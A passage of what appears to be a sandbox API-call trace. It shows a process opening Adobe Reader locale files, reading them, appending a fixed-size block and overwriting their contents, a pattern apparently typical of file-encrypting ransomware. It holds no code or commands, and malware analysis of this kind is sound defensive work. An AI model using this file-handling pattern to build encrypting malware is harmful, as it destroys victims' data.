lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x145000 [0036.504] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.504] ReleaseMutex (hMutex=0x128) returned 1 [0036.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CZE", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CZE", lpUsedDefaultChar=0x0) returned 12 [0036.504] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.506] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.507] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x144000 [0036.507] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.509] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x144000 [0036.509] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.510] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.510] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.510] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.510] CloseHandle (hObject=0x1c4) returned 1 [0036.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.510] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.510] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6c00 [0036.511] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.511] ReleaseMutex (hMutex=0x128) returned 1 [0036.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CZE", lpUsedDefaultChar=0x0) returned 11 [0036.511] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.512] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c00 [0036.512] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.513] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c00 [0036.513] WriteFile (in: hFile=0x1c4, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.513] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.513] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.513] CloseHandle (hObject=0x1c4) returned 1 [0036.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0036.514] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.514] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9e00 [0036.514] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.514] ReleaseMutex (hMutex=0x128) returned 1 [0036.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.DAN", lpUsedDefaultChar=0x0) returned 11 [0036.514] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.005] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8e00 [0037.005] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.005] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8e00 [0037.005] WriteFile (in: hFile=0x1c4, lpBuffer=0x2619da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619da8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.017] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.017] WriteFile (in: hFile=0x1c4, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.017] CloseHandle (hObject=0x1c4) returned 1 [0037.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.022] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.022] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5c00 [0037.022] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.022] ReleaseMutex (hMutex=0x128) returned 1 [0037.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DAN", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DAN", lpUsedDefaultChar=0x0) returned 10 [0037.022] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.028] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4c00 [0037.029] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.029] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4c00 [0037.030] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.030] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.030] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.030] CloseHandle (hObject=0x1c4) returned 1 [0037.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Annots.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\annots.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x80a00 [0037.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.031] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.031] ReleaseMutex (hMutex=0x128) returned 1 [0037.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.DEU", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.DEU", lpUsedDefaultChar=0x0) returned 10 [0037.031] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0037.034] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.038] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7fa00 [0037.038] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.041] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7fa00 [0037.042] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.042] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.042] WriteFile (in: hFile=0x1c4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0037.042] WriteFile (in: hFile=0x1c4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.042] CloseHandle (hObject=0x1c4) returned 1 [0037.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\pddom.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\pddom.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.043] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.043] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2c00 [0037.043] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.043] ReleaseMutex (hMutex=0x128) returned 1 [0037.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0037.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.DEU", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.DEU", lpUsedDefaultChar=0x0) returned 9 [0037.043] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.045] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1c00 [0037.045] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.046] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1c00 [0037.046] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.046] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.046] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.046] CloseHandle (hObject=0x1c4) returned 1 [0037.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.047] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.047] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2a00 [0037.047] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.047] ReleaseMutex (hMutex=0x128) returned 1 [0037.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DEU", lpUsedDefaultChar=0x0) returned 12 [0037.047] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.049] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1a00 [0037.049] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.049] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1a00 [0037.049] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.049] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.050] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.050] CloseHandle (hObject=0x1c4) returned 1 [0037.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.053] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.053] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4e00 [0037.053] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.053] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.053] ReleaseMutex (hMutex=0x128) returned 1 [0037.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0037.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ESP", lpUsedDefaultChar=0x0) returned 7 [0037.054] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.055] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3e00 [0037.055] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | 